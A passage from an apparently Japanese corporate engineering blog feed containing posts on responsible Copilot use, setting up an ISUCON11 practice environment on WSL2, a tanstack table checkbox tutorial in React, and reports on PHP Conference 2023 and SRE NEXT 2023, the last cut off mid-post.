ArrayList<>(); } } 以下の通り改修 1. Hoge クラスに value3, 4 を追加 2. value3, 4 の値が 0 より多きい場合は、 Hoge をリストに追加 結果 完璧に要件を満たしてはいますが、空気を読んでしまい冗長なコードを生成してしまいます。 確かに copilot は優秀ですが、元が悪ければ必ずしも高品質なコードが生成されるわけではありません。 だらだらと書いてしまいましたが、 copilot ( 副操縦士 )というくらいですから、プロンプターは主操縦士として適切な判断力をもって利用していきましょうということですね。 まとめ 一部否定的に感じられてしまう内容もあったかと思いますが、否定的とか全くそういった感情はありません。 自身でも積極的に業務で利用しており、なかった時代には戻れないというほど恩恵を感じています。 本投稿で言いたかったのは、 生成されたコードにも責任をもちましょう! エンジニアとして適切な判断をしていきましょう! ということでした。 AI様、これからもよろしくお願いします。
アバター
こんにちは、あるいはこんばんは。だいたいサーバサイドのエンジニアの( @taclose )です☆ もうあと1か月で ISUCON13 ですね!お祭りですね! という事で、今日は Windows 上でISUCONの環境を構築して、是非練習してもらえたらなと記事を書きました! これを参考にしながら是非、みなさんもトライしてみてください! 読者ターゲット 前書き 手順1:Docker Composeを使えるようにする(Rancher Desktopのインストール) 手順2:WSL2(Ubuntu 22.04)を準備する 手順3:WSL2上でdockerのプロセス操作が出来るようにする IntegrationsにUbuntuが表示されない方 手順4:Ubuntuのセットアップ 手順5:ISUCON11の環境構築 ISUCON11をforkする ISUCON11のclone~起動まで ISUCON11を触ってみる localhostが解決出来ないって人! 最後に 参考記事等 読者ターゲット ISUCONをDocker使って練習したい! dockerとかなんとなくはわかるよ! 前書き 「WSL上でISUCON環境構築」「 Mac 上で~」という記事はちらほら見かけるのですが、WSL2上に環境構築となると罠がちらほらあるものです。 なので、自分がつまづいたポイントとかを挟みながら説明していこうと思います。 各手順は 何も準備されていない前提 で書いています。「それは準備出来てるぜ!」という項目は飛ばして進めちゃってくださいね。 尚、今回は ISUCON11の本番問題 をインストールする手順ですが、基本的にはgitから落とすproject次第で手順はほぼ変わりません。 手順1:Docker Composeを使えるようにする(Rancher Desktopのインストール) 以下の Rancher Desktop を Windows にインストールしてください。 rancherdesktop.io 特段詰まるポイントはないかと思いますが、 WindowsでRancher Desktopを使うには - とことんDevOps | 日本仮想化技術のDevOps技術情報メディア とかを参考にしながら進めてもらえればと思います。 手順2:WSL2( Ubuntu 22.04)を準備する PowerShell 上で以下のコマンドを実行する事で Ubuntu -22.04のWSLが準備されます。 # WSL2を標準とする > wsl --set-default-version 2 # Ubuntu-22.04をインストールする > wsl --install -d Ubuntu-22.04 # インストールが終わったらログインしてみる > wsl ~ -d Ubuntu 手順3:WSL2上でdockerのプロセス操作が出来るようにする 以下はRancher Desktopの設定画面です。WSLメニューのIntegrationsタブに、 Ubuntu があるはずなのでチェックを入れましょう。 WSL2上でdocker操作が出来るようにする Integrationsに Ubuntu が表示されない方 もし表示されない方は、インストールされているWSLがWSL2じゃない可能性が高いです。 WSL2をブログ記事の通りにインストールし直すか、 WSL1 から WSL2への移行 #WSL - Qiita これらを参考にしながらWSL2に移行してください。 手順4: Ubuntu のセットアップ ISUCON環境構築するにあたり、必要なライブラリがいくつかありますので、以下のコマンドを WSL2(Ubuntu)上 で実行してください。 # 時刻ずれてるとapt失敗する事があるので、念のため時刻調整 $ sudo hwclock --hctosys # apt最新化しておく $ sudo apt-get update -y # isuconのdocker buildやbenchmarkerのbuildに使ってます $ sudo apt install make # benchmarkerのbuildに使います $ sudo apt install -y golang-go # docker buildで必要となるもの $ sudo apt install gnupg2 pass $ sudo apt-get install -y libsecret-1-0 $ sudo apt-get install dbus-x11 手順5:ISUCON11の環境構築 いよいよですね!ISUCON11の環境構築や、当日のレギュレーションなどがまとめられた リポジトリ はこちらです。 github.com これを直接落としてきても良いのですが、実際に行った改修の管理とかするためにもforkする事をお勧めします。 ISUCON11をforkする 以下の画像のボタンを押下する事で自分の リポジトリ としてforkする事ができます。 自由にcommitできるので、練習が捗りそうですね! github からISUCON11をforkする ISUCON11のclone~起動まで 以下のコマンドをWSL2( Ubuntu )上の作業 ディレクト リで行ってください。 # forkしてない場合はこうですが、forkしてる場合は書き換えてくださいね。 # リポジトリをcloneしてくる $ git clone git@github.com:isucon/isucon11-final.git # docker-composeを使って環境を構築する # ※ちなみにMakefileを見てもらえれば、言語をGo以外にするコマンドとかわかります。 # 結構時間かかります。落としたい時はmake down。再起動したいなら make down; make upでOK $ cd isucon11-final/dev/ $ make up & # git clone行ったdirから見た移動です。 $ cd isucon11-final/benchmarker $ make ISUCON11を触ってみる http://localhost:8080 にアクセスしてもらうとブラウザ上で実行出来ている事が確認できます。 また、以下のコマンドでBenchmarkerを走らせられます。 # benchmarker走らせてみる $ ./isucon11-final/benchmarker/bin/benchmarker -target localhost:8080 localhost が解決出来ないって人! 試しに curl コマンドで試してもらって以下のような状況になる日とはWSLから Windows への通信が出来ていない事となります。 # Ubuntu上で以下が出ちゃう人 $ curl -X GET localhost:8080 curl: (7) Failed to connect to localhost port 8080 after 0 ms: Connection refused 原因としては色々ありますが、Rancher Desktopを使ってる方の場合、以下の設定を確認してください。 ここでこんな不具合の人少ないのかな... 的はずれな記事ばかりに行き当たってしまい苦労しましたOrz 私は過去に何かで通信うまくいかないので困惑した時に、これをチェックしてしまっていたのが原因だったようです。 最後に 環境構築終わりましたか!?ここからが始まりですからね! この環境なら AWS の利用料金とか気にせずに好きな時にISUCONの練習できるのがうれしいですよね! 自宅の Mac でも試してみたんですが、ほぼ同じ手順で環境構築問題なかったので皆さんも参考にしてみてください。 ではISUCON本番でお会いしましょう! 参考記事等 GitHub - isucon/isucon11-final: ISUCON11 本選 (ISUCHOLAR) WindowsでRancher Desktopを使うには - とことんDevOps | 日本仮想化技術のDevOps技術情報メディア WSL1 から WSL2への移行 #WSL - Qiita
アバター
はじめに こんにちは。フロントエンド開発課に所属している新卒1年目のm_you_sanと申します。 実務でtanstack tableを使う機会があり、便利に感じたので紹介させていただきます。 目次は以下の通りです。 はじめに tanstack tableとは 使い方 サンプルデータの用意 カラムの定義 テーブルオブジェクトの作成 テーブルの表示 チェックボックスの状態管理 行の削除 まとめ tanstack tableとは tanstack tableとはテーブルを容易に実装できるヘッドレスUIライブラリです。 ヘッドレスなので、UIとロジックを制御する部分を独立させることができ、柔軟にUIを制御することができます。 v7まではreact-tableという名前でしたが、メジャーアップデート後にtanstack tableになり、react以外にvue、solidなどの フレームワーク にも対応しています。 使い方 使い方について、サンプルコードを交えて解説します。 今回はtanstack tableとMUIを使用して、 チェックボックス 付きのテーブルを作成していきます。 tanstack tableを初めて使う初学者の方は、是非、手を動かしながら本記事を読んでいただければと思います。 インストール方法については、公式ドキュメントを参照してください。 MUI   tanstack table サンプルデータの用意 まず初めにテーブルに表示するサンプルデータを用意します。 今回は50個のデータを作成し、tasksの初期値とします。 その後、tasksをpropsとして子のCheckBoxTableに渡します。 App. tsx export type Task = { id: number ; name: string ; isDone: boolean ; } const App: React.FC = () => { const defaultData: Task [] = [ ... Array ( 50 ) .keys () ] .map (( i ) => ( { id: i + 1 , name: `タスク ${ i + 1 } ` , isDone: i % 2 === 0 ? true : false } )); const [ tasks , setTasks ] = useState ( defaultData ); return < CheckBoxTable data = { tasks } / > } カラムの定義 次にCheckBoxTableの中身を作成していきます。 初めにカラムを定義します。 ColumnDefに型情報を設定することで、tableやrowにも型情報が反映されます。 headerは列のヘッダーの表示内容となっており、 カスタム コンポーネント やテキストなどを使用して表示内容をカスタマイズすることができます。 今回はMUIと組み合わせて表示内容をカスタマイズしています。 また、headerにはtableを引数に設定して、tableの API を使用することができます。 cellは列内の各セルの表示内容です。 こちらもheaderと同様に表示内容をカスタマイズできます。 また、cellにはrowを引数に設定することができ、rowの API を使用することができます。 なお、 チェックボックス のハンドラーについてですが、table API とrow API で用意されているので、自分で作成する必要はありません。 CheckBoxTable. tsx type Props = { data: Task [] ; } export const CheckBoxTable: React.FC < Props > = ( { data } ) => { const columns: ColumnDef < Task > [] = [ { id: 'select' , header: ( { table } ) => ( < Checkbox //現在のページの全ての行が選択されているかどうか checked = { table.getIsAllRowsSelected () } //全ての行のチェックボックスを切り替えるために使用するハンドラーを返す onChange = { table.getToggleAllRowsSelectedHandler () } / > ), cell: ( { row } ) => ( < Checkbox //行が選択されているかどうか checked = { row.getIsSelected () }    //未実施の場合は非活性 disabled = { ! row.original.isDone } //チェックボックスを切り替えるために使用するハンドラーを返す onChange = { row.getToggleSelectedHandler () } / > ) } , { id: 'id' , header: 'タスクID' , accessorKey: 'id' } , { id: 'name' , header: 'タスク名' , accessorKey: 'name' } , { id: 'isDone' , header: 'タスクの実施状況' , cell: ( { row } ) => row.original.isDone? '実施済' : '未実施' } ] } テーブルオブジェクトの作成 次にテーブルオブジェクトを作成します。 テーブルオブジェクトの作成には、useReactTableを使用し、テーブルに表示するデータ、カラムを設定します。 getCoreRowModelはテーブルの行モデルを計算して返す関数となっていますが、あまり難しいことは考えずに、getCoreRowModel()を設定してあげれば良いと思います。 なお、data、columns、getCoreRowModelは必須オプションなので、どれか1つ欠けているとエラーが発生します。 CheckBoxTable. tsx const table = useReactTable < Task >( { data , columns , getCoreRowModel: getCoreRowModel () } ) テーブルの表示 次にテーブルを表示させます。 getHeaderGroupはテーブルのヘッダー情報、getCoreRowModelはテーブルの行の情報を返します。 getHeaderGroupで返されるヘッダー情報は、配列になっており、それらをmap関数で展開し、flexRender関数を使用して表示させています。 getCoreRowModelで返される行の情報についても、配列になっており、ヘッダーと同じ方法で表示させています。 CheckBoxTable. tsx return ( < Table > < TableHead > { table.getHeaderGroups () .map (( headerGroup ) => ( < TableRow key = { headerGroup.id } > { headerGroup.headers.map (( header ) => ( < TableCell key = { header.id } > { flexRender ( header.column.columnDef.header , header.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableHead > < TableBody > { table.getCoreRowModel () .rows.map (( row ) => ( < TableRow key = { row.id } > { row.getVisibleCells () .map (( cell ) => ( < TableCell key = { cell.id } > { flexRender ( cell.column.columnDef.cell , cell.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableBody > < /Table > ) 画面を確認すると、このようにテーブルが表示されているのが分かります。 なお、カラムを定義した際に、cellを使って表示内容を指定していない場合は、accessorKeyが抜けていると上手く表示されません。 { id: 'id' , header: 'タスクID' , // accessorKey: 'id' } , { id: 'name' , header: 'タスク名' , // accessorKey: 'name' } , チェックボックス の状態管理 テーブルの見た目は実装できたので、次に状態管理を追加します。 先程のテーブルオブジェクトにオプションを追加します。 CheckBoxTable. tsx const [ rowSelection , setRowSelection ] = useState ( {} ); //中略 const table = useReactTable < Task >( { data , columns , state: { rowSelection } , onRowSelectionChange: setRowSelection , getCoreRowModel: getCoreRowModel (), //実施済のタスクだけ選択されるように設定 enableRowSelection: ( row ) => row.original.isDone } ) 上記のコードでは、stateに状態管理する値を渡しており、onRowSelectionChangeで チェックボックス が切り替わったときにセッター関数を呼び出して、状態を更新しています。 状態管理しているrowSelectionはエディタなどで確認すると、RowSelectionTableStateとundefinedのユニオン型になっていることが分かります。 RowSelectionTableState型は公式ドキュメントを確認してみると、以下のようになっています。 export type RowSelectionState = Record < string , boolean > export type RowSelectionTableState = { rowSelection: RowSelectionState } つまり、 チェックボックス が切り替わったとき、rowSelectionはstring型のキーとboolean型の value を保持することが考えられます。 実際にrowSelectionの中身をコンソールで見ると、キーは選択されている各行のインデックスで、 value はtrueになっていることが分かります。 また、ここまで度々登場しているrow.originalについても、コンソールで中身を見ていきたいと思います。 row.originalには、tableオブジェクトに設定したデータの情報が入っているのが分かります。 今までの「cell: ({row}) => row.original.isDone? '実施済' : '未実施'」や「enableRowSelection: (row) => row.original.isDone」は、originalにあるisDoneを使って、true、falseを取得していたということです。 行の削除 最後に、選択した行を削除する機能を作成します。 今回作成する削除機能は、選択した行のidとタスクのidが一致するものをfilter関数で除くという簡易的なものになっています。 App. tsx const App: React.FC = () => { const defaultData: Task [] = [ ... Array ( 50 ) .keys () ] .map (( i ) => ( { id: i + 1 , name: `タスク ${ i + 1 } ` , isDone: i % 2 === 0 ? true : false } )); const [ tasks , setTasks ] = useState ( defaultData ); const handleDelete = ( ids: number [] ) => { const updateTasks = tasks.filter (( task ) => ! ids.includes ( task.id )); setTasks ( updateTasks ); } return < CheckBoxTable data = { tasks } onDelete = { handleDelete } / > } checkBoxTableにも変更を加えていきます。 まず、行が選択された状態でなければ、削除ボタンを押せないようにするため、isSelected がfalseの場合、非活性にしています。 そして、削除する際に選択されている行のidが必要なので、table.getSelectedRowModel()で選択されている行の情報を取得し、map関数で行のidを含む配列を作成しています。 作成した配列をonDeleteの引数にし、削除が完了したら、選択状態がリセットされるようにします。 CheckBoxTable. tsx type Props = { data: Task [] ; onDelete: ( ids: number [] ) => void ; } export const CheckBoxTable: React.FC < Props > = ( { data , onDelete } ) => { //中略 //行のどれか1つでも選択されていればtrueを返す const isSelected = table.getIsSomeRowsSelected (); //選択している行のidを配列にする const ids = table.getSelectedRowModel () .rows.map (( row ) => row.original.id ); const handleDelete = () => { onDelete ( ids ); //選択状態をリセット table.resetRowSelection (); } return ( <> < button // 何も選択されていなければ非活性 disabled = { ! isSelected } onClick = { handleDelete } > 削除 < /button > < Table > < TableHead > { table.getHeaderGroups () .map (( headerGroup ) => ( < TableRow key = { headerGroup.id } > { headerGroup.headers.map (( header ) => ( < TableCell key = { header.id } > { flexRender ( header.column.columnDef.header , header.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableHead > < TableBody > { table.getCoreRowModel () .rows.map (( row ) => ( < TableRow key = { row.id } > { row.getVisibleCells () .map (( cell ) => ( < TableCell key = { cell.id } > { flexRender ( cell.column.columnDef.cell , cell.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableBody > < /Table > < / > ) } 最後に画面で動作を確認してみます。 以下のように、動作していれば実装完了です。 上手く動作しない場合は、以下にコード全体を載せているので、そちらと見比べて、ご確認いただければと思います。 App. tsx export type Task = { id: number ; name: string ; isDone: boolean ; } const App: React.FC = () => { const defaultData: Task [] = [ ... Array ( 50 ) .keys () ] .map (( i ) => ( { id: i + 1 , name: `タスク ${ i + 1 } ` , isDone: i % 2 === 0 ? true : false } )); const [ tasks , setTasks ] = useState ( defaultData ); const handleDelete = ( ids: number [] ) => { const updateTasks = tasks.filter (( task ) => ! ids.includes ( task.id )); setTasks ( updateTasks ); } return < CheckBoxTable data = { tasks } onDelete = { handleDelete } / > } CheckBoxTable. tsx type Props = { data: Task [] ; onDelete: ( ids: number [] ) => void ; } export const CheckBoxTable: React.FC < Props > = ( { data , onDelete } ) => { const [ rowSelection , setRowSelection ] = useState ( {} ); const columns: ColumnDef < Task > [] = [ { id: 'select' , header: ( { table } ) => ( < Checkbox checked = { table.getIsAllRowsSelected () } onChange = { table.getToggleAllRowsSelectedHandler () } / > ), cell: ( { row } ) => ( < Checkbox checked = { row.getIsSelected () } disabled = { ! row.original.isDone } onChange = { row.getToggleSelectedHandler () } / > ) } , { id: 'id' , header: 'タスクID' , accessorKey: 'id' } , { id: 'name' , header: 'タスク名' , accessorKey: 'name' } , { id: 'isDone' , header: 'タスクの実施状況' , cell: ( { row } ) => row.original.isDone? '実施済' : '未実施' } ] const table = useReactTable < Task >( { data , columns , state: { rowSelection } , onRowSelectionChange: setRowSelection , getCoreRowModel: getCoreRowModel (), enableRowSelection: ( row ) => row.original.isDone } ) const isSelected = table.getIsSomeRowsSelected (); const ids = table.getSelectedRowModel () .rows.map (( row ) => row.original.id ); const handleDelete = () => { onDelete ( ids ); table.resetRowSelection (); } return ( <> < button disabled = { ! isSelected } onClick = { handleDelete } > 削除 < /button > < Table > < TableHead > { table.getHeaderGroups () .map (( headerGroup ) => ( < TableRow key = { headerGroup.id } > { headerGroup.headers.map (( header ) => ( < TableCell key = { header.id } > { flexRender ( header.column.columnDef.header , header.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableHead > < TableBody > { table.getCoreRowModel () .rows.map (( row ) => ( < TableRow key = { row.id } > { row.getVisibleCells () .map (( cell ) => ( < TableCell key = { cell.id } > { flexRender ( cell.column.columnDef.cell , cell.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableBody > < /Table > < / > ) } まとめ tanstack tableについて、サンプルコードを交えて紹介させていただきました。 今回実装した チェックボックス 以外に、ページネーションやソート機能も作成することができるので、詳しく知りたい方は、 公式ドキュメント を見ていただければと思います。 長くなってしまいましたが、本記事をお読みいただきありがとうございました。
アバター
はじめに メールディーラー開発課のyamamuuuです。 2023/10/08(日)に PHP Conference 2023が完全オフラインで開催されました。 PHP Conference Japan 2023 ラク スはシルバースポンサーとして協賛し、エンジニア4名が登壇した他、初のブース出展を行いました。 本ブログではイベントの参加レポートと、 ラク スからの登壇者本人によるレポートに加え、ブースやイベントの様子もお届けします。 もくじ はじめに もくじ 参加レポート 型安全なSQLテンプレートエンジンを構築する Webアプリケーションのパフォーマンス・チューニングの勘所 25分で理解する!Symfonyの魅力とその実践的活用法 PHP8.2から見る、2つの配列 RubyVM を PHP で実装する〜Hello World を出力するまで〜 普段のプロジェクト開発で当たり前すぎてあまり目立たないComposer良いところを褒めに褒めまくるLT readonly class で作る堅牢なアプリケーション スケーラブルサービス――疎結合に成長するシステムに不可欠な要素 ラクスからの登壇セッションのご紹介 PHP略語クイズ ノンフレームワークのレガシープロダクトを、Laravelに"載せる"実装戦略と、その後の世界 既存コードベースにもPHP_CodeSnifferを導入して楽したい! ユニットテスト環境整備~みんながテストを書ける環境へ~ クロージング ラクス初のブース出展 来場者配布物封入の儀 まとめ PHPerのためのコミュニティ PHPTechCafe 参加レポート 型安全な SQL テンプレートエンジンを構築する report by id:hirobex うさみけんた さん ( @tadsan ) による発表です fortee.jp SQLインジェクション 対策の必要性と、うさみさんが作られたテンプレートエンジン TetoSQL の実装についての トーク でした! TetoSQLは OSSとして公開 されているので 実際にコードを見てみると、より SQL テンプレートエンジンへの理解が深まるかも……!? Webアプリケーションのパフォーマンス・チューニングの勘所 report by id:hirobex 曽根 壮大さん ( @soudai1025 ) による発表です fortee.jp いざパフォーマンスを改善したい!と思っても、なにから手を付けていいのか、意外とわからないものです。 そんなとき、なにからはじめるべきなのか、どういう情報を取得すべきか、という話から始まり 実際の情報の見方や改善テクニックをお話しいいただきました。 25分で理解する! Symfony の魅力とその実践的活用法 report by id:Y-Kanoh ( @YKanoh65 ) 角田一平さん( @ippey_s )による発表です speakerdeck.com Simpleであることが特徴の Symfony についてまとめられた発表です。 Symfony は コンポーネント の集まりであり、ユーザが必要な コンポーネント を自分で選んで利用することができる仕組みになっています。また、依存を手軽に注入する仕組みも備わっています。 そのほかにも、充実した CLI ツールや、DataMapper型のORMであるDoctrineが採用されており、融通がきく作りになっているため、素早くアプリを作成し、 疎結合 を維持して拡張をすることができる フレームワーク であると言えます。 発表ではところどころに Symfony の特徴を端的にあらわすキーワードが入っており、スッと頭に入りやすい内容でした。 PHP8.2から見る、2つの配列 report by id:takaram meiheiさん ( @app1e_s ) による発表です。 speakerdeck.com PHP8.2 で新しくなった、配列の内部実装がテーマです。 PHP の配列は、他の言語で言う配列(リスト)と、一般にマップや 連想配列 と呼ばれるものが一緒になった少し特殊なデータ構造です。 その内部実装は、添字が0からの連番になっている場合(リスト)とそれ以外( 連想配列 )とで異なっています。 この2種類の内部実装が、どのようなデータ構造になっているのか、配列の初期化や要素の追加・削除を行ったときに PHP 内部でどんな処理が行われているかが解説されていました。 PHPカンファレンス にありながら、 C言語 を"完全に理解"できる(?)発表でした! RubyVM を PHP で実装する〜 Hello World を出力するまで〜 report by id:takaram めもりーさん ( @m3m0r7 ) による発表です。 speakerdeck.com 新たに Ruby を学ぶにあたって「普通に学ぶのは刺激が足りない。そうだ VM を作ろう!」という、なんともすごい学習方法を取った発表者のめもりーさんから、大きく分けて以下3点の解説がありました。 VM とは何か RubyVM のしくみ RubyVM を PHP でどう実装するか Ruby だけでなく PHP も VM (ZendVM) で動作していますが、その中で何が起こっているのかを考えたことのある人は少ないかもしれません。 普段なかなか知ることのできない、プログラムの処理系の中身を知ることのできる面白い発表でした。 最後にはデモもあり、実際に PHP で Ruby が動く様子を見ることができました。 まだ一部機能しか実装されていないとのことですが、 PHP で Ruby が動くというのはなんだか夢のある話ですね! 普段のプロジェクト開発で当たり前すぎてあまり目立たないComposer良いところを褒めに褒めまくるLT report by id:takaram yamiiさん ( @yamii_qq ) による発表です。 speakerdeck.com 多くの PHPer が普段から当たり前に使っている composer、当たり前すぎて気づかないが実はすごい!ということで、composer のいろんなすごいポイントを挙げてひたすら褒めるLTです。 npm / yarn / pnpm のような選択肢がある JavaScript と違って、 PHP のパッケージマネージャといえばほぼ composer 一択ということもあり、他と比較したり「ここがすごい」と考えたりする機会は意外と少ないものです。 しかし改めて目を向けてみると、こんなによく出来たツール・エコシステムを無料で使える *1 なんて!という気持ちになりますね! readonly class で作る堅牢なアプリケーション report by id:rks_hrkw 河瀨 翔吾さん( @shogogg )による発表です。 speakerdeck.com PHP8.2で追加されたreadonlyクラスについての発表です。 readonlyクラスは全てのプロパティがPHP8.1で追加されたreadonly propertyになるというものです。 readonlyクラスを導入することでオブジェクトをImmutableな状態にすることができます。それにより複雑さを減らし目の前のコードの読み書きに集中できるとのことです。 実際の活用事例やメリットだけでなくデメリットも話されていてreadonlyとは何たるかを知れる発表になっていました。 私もPHP8.2に上げてからはreadonlyをガンガン使っているので、この発表で学んだデメリットなども意識しながら今後も活用していきたいです。 スケーラブルサービス―― 疎結合 に成長するシステムに不可欠な要素 report by id:rks_hrkw 成瀬 允宣さん( @nrslib )による発表です。 speakerdeck.com アプリのスケーラブルをどう実現していくのかに加え、組織としてのスケーラブルについての内容もある、サービス全体のスケーラブルについての発表でした。 普段曖昧に理解しがちなスケールアップ等を具体的なイメージ共に1から説明されていたので、後の説明も頭に入りやすかったです。 1つずつ課題を解決しながら理想のスケーラブルシステムへと向かっていくような内容になっており、なぜイベントソーシングやメッセージブローカなどが存在するかなども理解しながら聞くことが出来ました。 いつかはこういったシステムも実務で触れてみたいですね~ リハーサル動画も上げてくださっているので是非ご覧になってみてください! www.youtube.com ラク スからの登壇セッションのご紹介 PHP 略語クイズ report by id:Y-Kanoh ( @YKanoh65 ) speakerdeck.com 私、Y-Kanohによる発表です。 LTは、イベントの最後にみんなで盛り上がるものということで、クイズ形式にPHPer関連の略語について紹介しました。 (カー○は関西だとまだ売ってますよ!!) ノン フレームワーク のレガシープロダクトを、Laravelに"載せる"実装戦略と、その後の世界 report by id:hirobex speakerdeck.com 私の発表です PHPerKaigi2023で発表させていただいたLTが好評だったので 今回レギュラー トーク 用に トーク 内容を増やして登壇しました! 20年以上開発がつづくレガシープロダクトをLaravelに載せたお話です。 既存コードベースにも PHP _CodeSnifferを導入して楽したい! reported by id:takaram 私、荒巻 ( @takaram71 ) の発表です。 www.docswell.com 私が担当するプロダクト・ 配配メール に PHP _CodeSniffer を導入した体験談をお話しました。 PHP _CodeSniffer は、 PHP コードのコーディングスタイルをチェックしてくれるツールです。たとえば以下のようなポイントをチェックしてくれます。 変数・クラス・メソッドなどの 命名 (スネークケースかキャメルケースかなど) 空白の使い方(インデント、 演算子 や括弧の前後など) 配列 リテラル は [] か array() か ただ既存のプロジェクトに実際に導入してみると、新規プロジェクトとは違った難しいポイントがあることがわかったため、それをどう解決したのかをお話しています。 このセッションを聞いたりスライドを見た方が、 PHP _CodeSniffer に興味を持っていただけていると嬉しいです!! ユニットテスト 環境整備~みんながテストを書ける環境へ~ report by id:rks_hrkw 私、堀川の発表になります。 speakerdeck.com 私の参加しているプロダクトで ユニットテスト の環境を導入・整備した体験談です。 困難も多かったですが最近はAI活用を筆頭に技術も進歩しているため、導入の難易度は下がっている印象です。 当然ですがプロダクトの息が長くなればなるほど導入には苦痛を伴うので、私たち以外にも ユニットテスト の環境が無いという方がいらっしゃればこの発表をきっかけに一歩踏み出していただければ幸いです。 クロージング report by id:Y-Kanoh ( @YKanoh65 ) クロージングでは、各地の PHP 系カンファレンスのイベント紹介がありました。 私も自分が実行委員長を務める PHPカンファレンス 関西の紹介をするため、登壇させていただきました! ラク ス初のブース出展 report by id:Y-Kanoh ( @YKanoh65 ) 今回は、 ラク スとしては初めての「ブース出展」を行いました!! 予想以上に広い会場で、他の企業の方もたくさんいる中での出展でしたが、たくさんの方に来ていただいて非常に盛り上がりました!! 今回、 ラク スのブースでは「 ラク ス認知度アンケート」と「 ラク ス PHP クイズ」を実施しました。 アンケートの結果は以下の通りです! みなさま、ご協力ありがとうございました!! アンケート結果 総回答数 220名 ラク スを知っていますか? 知っている 174名(79%)/ 知らない 46名(21%) PHPTechCafeを知っていますか? 知っている 82(42%) / 知らない 114(58%) アンケートに回答していただいた方には、以下の「Web × PHP TechCafe ステッカー」を、 クイズに回答いただいた方には「 ラク スオリジナルクリアファイル」を差し上げました!! PHPTechCafeステッカー 来場者配布物封入の儀 report by id:Y-Kanoh ( @YKanoh65 ) また、私は前日に東京へ移動し、来場者向けの配布物をトートバッグへ詰める「来場者配布物封入の儀」も行ってきました。 全部で1300個も作る必要があり、スタッフ含め30人程度の人数で数時間、配布物を袋に詰め続けました。 カンファレンスは勝手に生えてくるものではなく、誰かの努力で成り立っているため、手伝える部分は手伝い参加者も一緒になってイベントを維持していければと思います。 大勢で並んだ資料を詰めていく作業 詰め終わった袋の山 まとめ 今回のイベントは発表、参加、ブース出展と大忙しだったようですね。 ブースには多くの方々にご来場いただき大盛況でした! @YKanoh65 さんが実行委員を務める「 PHPカンファレンス 関西 2024」も楽しみですね! PHPerのためのコミュニティ PHPTechCafe ラク スでは PHP に特化したイベントを毎月開催しております。 その名も「PHPTechCafe」!! 次回は10/24(火)に『 PHPカンファレンス 2023を振り返る』 をテーマに開催します! まだまだ参加者を募集していますので、ぜひお気軽にご参加ください。 👉 PHPerのための「PHPカンファレンス2023を振り返る」PHP TechCafe 最後までお読みいただきありがとうございました! *1 : 確かに無料で使えますが、日頃お世話になっているのであれば寄付も考えたいですね😉
アバター
SRE課の飯野です。 去る2023/9/29(金)、『 SRE NEXT 2023 』が開催されました。 弊社SRE課からも6名が現地参加し、熱量あふれるたくさんのセッションを肌で体感してきました。 本ブログでは、SRE NEXT参加後にメンバーで実施した 感想戦 の内容をお届けします。 目次 SRE NEXTとは? 当日の様子 感想戦やってみよう 総括 SRE NEXTとは? SREに関わるトピックを扱う日本国内の大型カンファレンスです。 今年は約3年半ぶりにオフラインでも開催され(オンライン配信もありのハイブリッド方式)、東京・九段下の 九段会館 テラスにて行われました。 信頼性に関するプ ラク ティスに深い関心を持つエンジニアのためのカンファレンスです。 同じくコミュニティベースのSRE勉強会である「 SRE Lounge 」のメンバーが中心となり運営・開催されます。 SRE NEXT 2023は「Interactivity」「Diversity」「Empathy」という3つの価値観を掲げ、「双方向性のある意見交換の場にすること」「スタートアップから大企業まで、幅広い業種・領域・フェーズでのSRE Practice の実践を集約すること」「ビジネスサイド含めSRE以外の職責も含めて裾野を広げること」を意識して運営していき、より多様なSREの実践が普及することを目指します。 ( 公式サイト より) トータル1,000名を超える申込があり、オフライン参加の申込も220名ほどいらっしゃったようです。 大盛況なのが伺えますね。 当日の様子 タイムテーブル 基調講演がオープニングとエンディング枠でそれぞれ40分、それ以外のセッションは3トラック同時開催で各20分ずつ行われました。 また、ランチ休憩後にはオフライン会場限定でパネルディスカッションが開催されていました。 弊社のSRE課からは6名が参加しましたが、各人が興味のあるセッションをそれぞれ選択して拝聴しました。 もちろん重複したセッションもありますが、チームとしてのインプットの量がすさまじいですね! 閉会式のあとには懇親会が行われ、美味しいお酒と食事をいただきつつ、参加者の方々と交流することができました。 セッションを聴いたあの人やあの人とお話ができちゃうなんて! 感想戦 やってみよう さて、SRE NEXTに参加した熱が冷めやらぬうちに、後日さっそく 感想戦 を実施してみました。 実施するにあたって、事前に用意したフォーマットは下記です。 # 印象に残ったセッション ## タイトル ## 登壇者情報 ## スライド ## セッション概要 - セッションの内容を簡潔に ## 共有したい点、感想等 - どんな点に共感したか、疑問に思ったこと等 --- # 今後実施/挑戦したいこと - 参加してみてアクションを起こしたくなったものが何かあれば # 全体を通しての感想 - 率直な感想をご自由に それぞれが印象に残ったセッションを選択し、セッション概要と共有したい点/感想等を事前にまとめてもらいました。 以下、実際にまとめてもらった 感想戦 の内容を一部ご紹介します。 (※各感想の冒頭に記載しているSRE課メンバーの二つ名は課のみんなで考えました) カラオケでマイクを離さないのに唄わないUの感想 増え続ける公開アプリケーションへの悪意あるアクセス。多層防御を取り入れるSRE活動 セッション紹介ページ speakerdeck.com セッション概要 AWS パートナーもされていた方が現SREとして クラウド インフラでの具体的なセキュリティ対策を、レイヤーごとに細かくリストアップ 共有したい点、感想等 アプリ脳の自分からすると、具体的なセキュリティ対策のイメージがドッと増えた 他社のセキュリティ評価の観点を得られた セキュリティ評価上の ベンチマーク にしたいくらいの資料 今後実施/挑戦したいこと セキュリティに関して考えるときには上記で列挙されている観点は検討に入れていきたい 基調講演「 信頼性目標とシステムアーキテクチャー 」後半で話されていたレベルのことを主体的に話せるレベルまで解像度を上げたい 「 Runbookに何を書き、どのようにアラートを振り分けるか? 」にあったRunbookを「運用する」という観点でのアラート体制整備は取り入れるべき 全体を通しての感想 SREも突き詰めるとツラミ解決部隊なので、意外と共感できない部分とかもあり、概念自体の難解さと 不定 形さをあらためて認識した 面白い話ほど視座が高くて、今の自分には抽象度が高すぎた エンジニア経験が少ない自分には、具体性の高い 経験談 チックな話が理解しやすく、他社の現場目線を知ることができて非常に面白かった アイドルと設計をこよなく愛する課内の先生Iの感想 エンタープライズ 企業でのSRE立ち上げ挑戦の際に意識した事と気付き、現在地とこれから セッション紹介ページ speakerdeck.com セッション概要 イオングループ 